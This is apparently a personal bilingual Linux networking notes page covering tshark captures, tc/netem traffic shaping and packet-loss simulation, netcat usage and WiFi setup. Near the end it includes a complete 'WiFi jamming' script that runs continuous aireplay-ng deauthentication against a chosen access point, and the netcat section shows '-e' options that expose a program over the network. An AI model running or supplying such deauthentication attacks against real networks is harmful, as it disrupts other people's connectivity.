- Opcions / Options
- permet a un usuari normal fer captures / allow
regular user to capture:
usermod -a -G wireshark my_user
- interfícies disponibles
tshark -D
- mostra paquets udp de la interfície de xarxa
especificada
tshark -i eth0 udp
- mostra paquets amb destinació a una adreça
especificada
tshark -i eth0 dst 224.0.0.0
- descodifica paquets com a
RTP
tshark-d udp.port==7020,rtp-i eth0dst 224.0.0.0 and port 7020tshark-d udp.port==7020-7022,rtp-i eth0dst 224.0.0.0- tshark -d udp.port==11674,rtp -i mcbr-wct-b4e8b1 dst 229.231.17.0 and port 11674
- RTCP
- tshark -d udp.port==7001,rtp dst 224.0.0.0 and port 7001
- tshark -d udp.port==7003,rtp dst 224.0.0.0 and port 7003
- tshark -d udp.port==11675,rtp -i mcbr-wct-b4e8b1 dst 229.231.17.0 and port 11675
- mostra paquets amb origen 192.168.1.114, amb
el format de temps universal, però no els
paquets ssh (port 22)
tshark -n -t u -i eth0 src 192.168.1.114 and not port 22
- descodifica paquets RTMP
a partir d'una captura en un fitxer:
tshark -t u -r toto.pcap -d tcp.port==1935,rtmpt | grep Stream
- Wireshark
- Filtres
- Loopback capture setup
- Platform-Specific information about capture privileges
- Wireshark: An Ethereal Experience (Linux Magazine)
- Wireshark II: The Analysis (Linux Magazine)
- Instal·lació / Installation
- Info
- Emulació / Emulation
- Simulació / Simulation
- ns-2
- OMNeT++
- Simulació
de pèrdua de paquets / Packet loss simulation
- Info
- Simulate delayed and dropped packets on Linux: netem, iptables statistic, ...
- Traffic
Shaping, Bandwidth Shaping, Packet Shaping with
Linux tc htb
- script with tc
- Bandwidth Throttling with NetEM Network Emulation
- Names
- shaping outgoing (egress) traffic
- policing incoming (ingress) traffic: use Ingress Policer
- Eines / Tools
- tc
(Traffic Control) (part of iproute2
package) (wp)
- man tc
- GUI
- Advanced
traffic control (Archlinux wiki)
- CoDel
- How to Use the Linux Traffic Control
- QoS in Linux with TC and Filters
- TrafficControl
(Debian wiki)
- gràfic jerarquia
- Traffic Control HOWTO (old)
- Linux
Advanced Routing & Traffic Control HOWTO
- Chapter
9. Queueing Disciplines for Bandwidth
Management
- 9.1
Queues and Queueing Disciplines
explained
- "With queueing we determine the way in which data is sent."
- 9.2
Simple, classless Queueing Disciplines
- 9.2.1 pfifo_fast
- 9.2.2 Token Bucket Filter
- 9.2.3 Stochastic Fairness Queueing (sfq)
- 9.3 Advice for when to use which queue
- 9.4
Terminology
- RFC 3290 An Informal Management Model for Diffserv Routers
- Shaping: The process of delaying packets before they go out to make traffic confirm to a configured maximum rate. Shaping is performed on egress. Colloquially, dropping packets to slow traffic down is also often called Shaping.
- Policing: Delaying or dropping packets in order to make traffic stay below a configured bandwidth. In Linux, policing can only drop a packet and not delay it - there is no 'ingress queue'.
- ASCII graphic
- 9.5.
Classful Queueing Disciplines
- 9.5.2.
The qdisc family: roots, handles,
siblings and parents
- handles:
<major>:<minor>
- root qdisc handle is 1: (same as 1:0)
- the minor number of a qdisc is always 0
- the major number of a child must match the major number of the parent
- hierarchy tree
- handles:
<major>:<minor>
- 9.5.2.
The qdisc family: roots, handles,
siblings and parents
- 9.6
- 9.7
- 9.1
Queues and Queueing Disciplines
explained
- Chapter
14. Advanced & less common queueing
disciplines
- 14.1 bfifo/pfifo
- 14.2 CSZ
- 14.3 DSMARK
- 14.4 Ingress qdisc
- 14.5 RED
- 14.6 Generic Random Early Detection
- 14.7 VC/ATM emulation
- 14.8 Weighted Round Robin (WRR)
- Chapter
9. Queueing Disciplines for Bandwidth
Management
- Monitor
- syntax
tc <type> <action> <device> <position> <id> <qdisc> <parameters>tc qdisc [ add | change | replace | link ] devDEV [parentqdisc-id | root ] [handlex:[0] ] qdisc [ qdisc_specific_parameters ]tc qdisc remove ...tc class [ add | change | replace ] devDEVparentqdisc-id [classidparent_x:y ] classful_qdisc [ qdisc_specific_parameters ]tc filter [ add | change | replace ] devDEV[ parentqdisc_x:0| root ] protocolprotocolpriopriority filtertype [ filtertype_specific_parameters ]flowidflow-idtc[ FORMAT ]qdisc show [ devDEV ]tc [FORMAT ]class show devDEVtc filter show devDEV
FORMAT := { -s[tatistics] | -d[etails] | -r[aw] | -p[retty] | -i[ec] }
- queuing
disciplines (qdisc)
-
type
family
qdisc
qdisc specific parameters
usage (advice)
ingress
Ingress qdisc ingress
- To 'shape' incoming traffic which you are not forwarding. Incoming shaping is called 'policing', by the way, not 'shaping'.
- Consider also IFB
egress
classless
- A qdisc with no configurable internal subdivisions.
- do not allow to add more qdiscs to it.
- less flexible
- less customizing
- In the absence of classful qdiscs, classless qdiscs can only be attached at the root of a device.
CoDel (Controlled Delay) (man) /
Fair Queueing CoDel (man)
fq_codel
- default (systemd > 217)
Fifo fast
pfifo_fast
- default (systemd <= 217)
- Standard qdisc for 'Advanced Router' enabled kernels. Consists of a three-band queue which honors Type of Service flags, as well as the priority that may be assigned to a packet.
- FIFO
- 3 queues
- classify based on TOS/Priority field
bfifo/pfifo bfifo
pfifolimit
- Simplest usable qdisc, pure First In, First Out behaviour. Limited in packets or in bytes.
- If you don't want to shape, but only want to see if your interface is so loaded that it has to queue
Token Bucket Filter tbfrate 1mbitburst 32kbitlatency 400ms
- The Token Bucket Filter is suited for slowing traffic down to a precisely configured rate. Scales well to large bandwidths.
- To purely slow down outgoing traffic
- If you *are* forwarding incoming traffic, use a TBF on the interface you are forwarding the data to
Stochastic Fairness Queueing sfqperturb 10(seconds)quantum 1514b(bytes)limit 127p(packets)
- Stochastic Fairness Queueing reorders queued traffic so each 'session' gets to send a packet in turn.
- round-robin
- If your link is truly full and you want to make sure that no single session can dominate your outgoing bandwidth
Random Early Detection (RED) red
- Random Early Detection simulates physical congestion by randomly dropping packets when nearing configured bandwidth allocation. Well suited to very large bandwidth applications.
- If you have a big backbone and know what you are doing
Netem
netem
delay200ms100ms 10ms100ms 10ms 10%100ms 10ms distribution normal
loss10%
corrupt5%
duplicate1%
classful
- A classful qdisc contains multiple classes. Each of these classes contains a further qdisc, which may again be classful, but need not be.
- configurable classes
- traffic is sent to any of the classes within, based on response when calling filters
- each class contains a leaf qdisc which by default has pfifo behaviour though another qdisc can be attached in place. This qdisc may again contain classes, but each class can have only one leaf qdisc.
PRIO priobandspriomap
- The PRIO qdisc is a non-shaping container for a configurable number of classes which are dequeued in order. This allows for easy prioritization of traffic, where lower classes are only able to send if higher ones have no packets available. To facilitate configuration, Type Of Service bits are honored by default.
- created with a static number of children
Class Based Queuing cbqShaping:
avpkt 1000bandwidth 10Mbit(physical bandwidth of the device)cellmaxburstminburstminidlempu
rate 512kbit(desired rate)
allot 1500prio 3weight ...
bounded/borrowisolated/sharing
- Class Based Queueing implements a rich linksharing hierarchy of classes. It contains shaping elements as well as prioritizing capabilities. Shaping is performed using link idle time calculations based on average packet size and underlying link bandwidth. The latter may be ill-defined for some interfaces.
- allow for runtime addition of classes
Hierarchical Token Bucket (user guide)htbrate...
default30
- The Hierarchy Token Bucket implements a rich linksharing hierarchy of classes with an emphasis on conforming to existing practices. HTB facilitates guaranteeing bandwidth to classes, while also allowing specification of upper limits to inter-class sharing. It contains shaping elements, based on TBF and can prioritize classes.
- well suited for setups where you have a fixed amount of bandwidth which you want to divide for different purposes, giving each purpose a guaranteed bandwidth, with the possibility of specifying how much bandwidth can be borrowed
- all filters must be attached to the htb root qdisc
- allow for runtime addition of classes
advanced CSZ
DMARK
Generic Random Early Detection
VC/ATM emulation
Weighted Round Robin (WRR)
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
-
- filter
- A filter is used by a classful qdisc to determine in which class a packet will be enqueued.
- filter is attached to a qdisc (not a class)
- syntax
tc filter [ add | change | replace ] devDEV[ parentqdisc-id| root ] protocolprotocolpriopriority filtertype [ filtertype_specific_parameters ]flowidflow-id- show
- each filter created with a single add has a unique handle, and can contain several match (AND)
- several filters can point to the same class (OR)
- match
<value_in_hex>/<mask>
at <at_code>
- at_code:
- 12: ip src
- 16: ip dst
- 20: ip dport, ip sport
- at_code:
- show
tc filter del devDEVparentparent_qdisc_id:handlehandle_idprotocolprotocolpriopriorityfiltertype- Example:
- delete one specific
filter:
tc filter del dev eth0 parent 1: handle 800::800 prio 1 protocol ip u32
- delete all filters in
a qdisc:
tc filter del dev eth0 parent 1:
- delete one specific
filter:
- Example:
- man
- tc-basic
- tc-ematch
- Usage
- tc only
tc filter add dev eth0 parent 1: protocol ip prio 2 u32 match ip src 4.3.2.1/32 match ip sport 80 0xffff flowid 1:11
- tc + iptables
tc filter add dev eth0 protocol ip parent 1: prio 1 handle 6 fw flowid 1:30iptables -A PREROUTING -t mangle -i eth0 -j MARK --set-mark 6
- tc only
-
protocol
prio
[handle]filtertype
filtertype parameters
flowid
ip- ...
<n>
u32
matchip protocol 6 0xff(/etc/protocols)ip src 4.3.2.1/32ip dst 4.3.2.1/32ip sport 80 <port_mask>ip dport 22 0xffffip tos 0x10 0xff
<destination_class_id>
<handle_id> fw
bpf
route
rsvp
...
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- Exemples / Examples
- Ingress
- using IFB
- How can I use netem on incoming traffic? (netem)
- Passos / Steps
modprobe ifbip link set dev ifb0 uptc qdisc add dev eth0 ingresstc filter add dev eth0 parent ffff: protocol ip u32 match u32 0 0 flowid 1:1 action mirred egress redirect dev ifb0tc qdisc add dev ifb0 root netem delay 750ms
- using IFB
- 9.5.4.4 CBQ sample configuration: 5Mbps for webserver, 3Mbps for SMTP
- list
tc -s qdisc ls dev eth0
tc -s -d qdisc ls
- Filters
tc filter add dev eth0 parent 1:0 protocol ip prio 1 u32 ...- Chapter 12. Advanced filters for (re-)classifying packets
- Packet
loss
tc qdisc change dev eth0 root netem loss 0.1%- bursts:
tc qdisc change dev eth0 root netem loss 0.3% 25%
- Delaying
only some traffic
- Netem - how to delay packets sent to/received from some host
interface=eth0
# reset
tc qdisc del dev${interface}root
# create 4 bands
tc qdisc add dev${interface}root handle 1: prio bands 4
# add filter to band e.g. 3: send packets with destination port 50000 to band 3
band=3
handle=$(( band * 10 ))
dport=50000
tc filter add dev${interface}parent 1:0 protocol ip u32 match ip dport${dport}0xffff flowid 1:${band}
# delay band 3 by 2000ms
delay=2000ms
tc qdisc add dev${interface}parent 1:${band}handle${handle}: netem delay${delay}
- loss only packets to a
destination address:
interface=eth0
dst_address="234.1.2.3"
dst_port=5004
loss="10%"
tc qdisc del dev ${interface} root
tc qdisc add dev $interface root handle 1: prio
#tc filter add dev $interface parent 1:0 protocol ip prio 2 u32 match ip dport ${dst_port} 0xffff flowid 1:2
tc filter add dev $interface parent 1:0 protocol ip prio 2 u32 match ip dst ${dst_address}/32 flowid 1:2
tc qdisc add dev $interface parent 1:2 handle 2: netem loss ${loss}
- Ingress
- tcng
- iptables
- tc
(Traffic Control) (part of iproute2
package) (wp)
- Info
- Serveis / Services
- netcat
/ nc /
ncat
- Instal·lació / Installation
- Mageia
urpmi netcat-traditional/usr/share/doc/netcat-traditional/scripts- binary:
ncat
- CentOS
sudo yum install nc
sudo yum install nmap-ncat
- Mageia
- Usage
- Options:
option
description
notes
-c, --sh-exec <commands>
execute (/bin/sh -c) commands after connection (only once)
-e, --exec <command>
execute command after connection
-k, --keep-open
keep connection open
-l, --listen
listen
-n, --nodns
no DNS lookup
-p, --source-port <port>
source port
-u, --udp
UDP
-v, --verbose
verbose
-w, --wait <sec>
connection timeout after <sec> seconds of inactivity
-z
zero mode, used for scanning (do not receive from server)
not available on CentOS
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- Exemples / Examples
-
description
code
server (-l)
one-shot web server on port (-p) 8080 { echo -ne "HTTP/1.0 200 OK\r\nContent-Length: $(wc -c <index.html)\r\n\r\n"; cat index.html; } | nc -l -p 8080
simple bidirectional udp (u) server on port (-p) 7000
nc -ul -p 7000
- (will show received text)
- (type text to be transmitted)
proxy
mkfifo backpipenc -l 12345 0<backpipe | nc www.google.com 80 1>backpipe- one-shot:
ncat -l 12345 -c 'nc www.google.com 80'
making any process a server
nc -l -k -p 1234 -e <script_name>
client
connect to server at port 25
nc mail.server.net 25
check whether udp ports are open
nc -vzu <server> 80-90
simple bidirectional udp client
nc -u <server> 7000
- (type text to be transmitted)
- (will show received text)
port scanning
nc -v -n -z -w 1 192.168.1.2 1-1000
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- connect to remote host:
nc ip_adress port
- fake http
server:
nc -l 80
- UDP server (two servers can be started at the same
port, but data from client will only go to one of
them)
nc -ul 5004<text from client will appear here>
- UDP client:
nc -u <server> 5004<type your text here>
- SCPI commands
- Snowmix
-
- ...
- Instal·lació / Installation
- netcat
/ nc /
ncat
- Compartició de connexió Internet / Internet connection sharing
- WiFi
- Disconnect from an SSID
sudo ifdown wlp46s0- then select SSID and connect using Mageia Central
Control
- Problema:
- no aconsegueix connectar-se a la nova SSID
- ...
- no aconsegueix connectar-se a la nova SSID
- Problema:
- Setup
/etc/sysconfig/neetwork-scripts/wireless.d/
/etc/wpa_supplicant.conf
-
ip a NetworkManager (nou) Activa la WiFi
(sense SSID configurat)3: wlp3s0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default qlen 1000
link/ether 4e:af:f5:42:53:d2 brd ff:ff:ff:ff:ff:ff permaddr 20:16:d8:4b:ea:64
Activa la WiFi
(amb SSID configurat)3: wlp3s0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
link/ether 20:16:d8:4b:ea:64 brd ff:ff:ff:ff:ff:ff
inet 192.168.1.150/16 brd 192.168.255.255 scope global dynamic noprefixroute wlp3s0
valid_lft 259191sec preferred_lft 259191sec
inet6 fe80::1b74:644d:41b3:cdd2/64 scope link noprefixroute
valid_lft forever preferred_lft forever
Activa la Wifi 3: wlp3s0: <BROADCAST,MULTICAST> mtu 1500 qdisc noqueue state DOWN group default qlen 1000
link/ether 4e:af:f5:42:53:d2 brd ff:ff:ff:ff:ff:ff permaddr 20:16:d8:4b:ea:64
Mode avió 3: wlp3s0: <BROADCAST,MULTICAST> mtu 1500 qdisc noqueue state DOWN group default qlen 1000
link/ether f6:55:51:f6:f2:b3 brd ff:ff:ff:ff:ff:ff permaddr 20:16:d8:4b:ea:64mode avió activat per teclat (Fn + F11) no es pot reactivar per NetworkManager
(apareix el símbol de WiFi barrat);
cal treure el mode avió per teclat3: wlp3s0: <BROADCAST,MULTICAST> mtu 1500 qdisc noqueue state DOWN group default qlen 1000
link/ether 7e:24:d5:2d:20:8a brd ff:ff:ff:ff:ff:ff permaddr 20:16:d8:4b:ea:64Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- Wireless LAN resources for Linux (Jean Tourrilhes)
- Madwifi
(Atheros chipset)
- cvs
- WifiCards
- Mandrake 10.0 and madwifi modules
- Mandrake 10.0 and D-Link DWL-G520
- wme problem (dlink g520, netgear DG834G)
- TurboA mode
- mdk club: madwifi, madwifi-kernel
- Mandriva 2006 RPM (Thac)
- Prism54
- NdisWrapper
- Linuxant
- drakroam (mandrivalinux)
- Wireless Assistant
- Information
iwconfig
- Access Point
- WiFi jamming
- aircrack-ng/aircrack-ng
- Info
- passos
iwconfiglo
[...]
wlp46s0 IEEE 802.11
[...]- start monitor mode:
sudo airmon-ng start wlp46s0- yes
- iwconfig
- lo
[...]
wlp46s0mon IEEE 802.11 Mode:Monitor
[...]
- dump information (2.4GHz, 5GHz, AP manufacturer):
- sudo airodump-ng --manufacturer --band ag wlp46s0mon
- script
#!/bin/bash
# https://github.com/mtm-x/wifi-jammer-tutorial
# run as root
# 1. list interfaces
iwconfig
# 2. put interface in monitor mode
interface=wlp46s0
airmon-ng start ${interface}
# 3. list interfaces (they should be in monitor status)
iwconfig
# 4. gather info
interface_monitor=${interface}mon
airodump-ng --manufacturer --band ag ${interface_monitor}
# input bssid
read -p "BSSID: " bssid
# input channel
read -p "Channel: " channel
# 5. monitor specific bssid and channel
airodump-ng ${interface_monitor} --bssid ${bssid} -c ${channel}
# 6. set channel
iwconfig ${interface_monitor} channel ${channel}
# send deauth
aireplay-ng --deauth 0 -a ${bssid} ${interface_monitor}
# stop monitor mode
airmon-ng stop ${interface_monitor}
exit 0- eines
airmon-ng- ...
airodump-ng- Interaction
- access point manufacturer
airodump-ng --manufacturer wlp...- 2.4GHz + 5GHz
airodump-ng --band ag wlp...- kismet
- Data sources
- Disconnect from an SSID
http://www.francescpinyol.cat/linux.html
Darrera modificació: 26 de maig de 2026 / Last update: 26th May
2026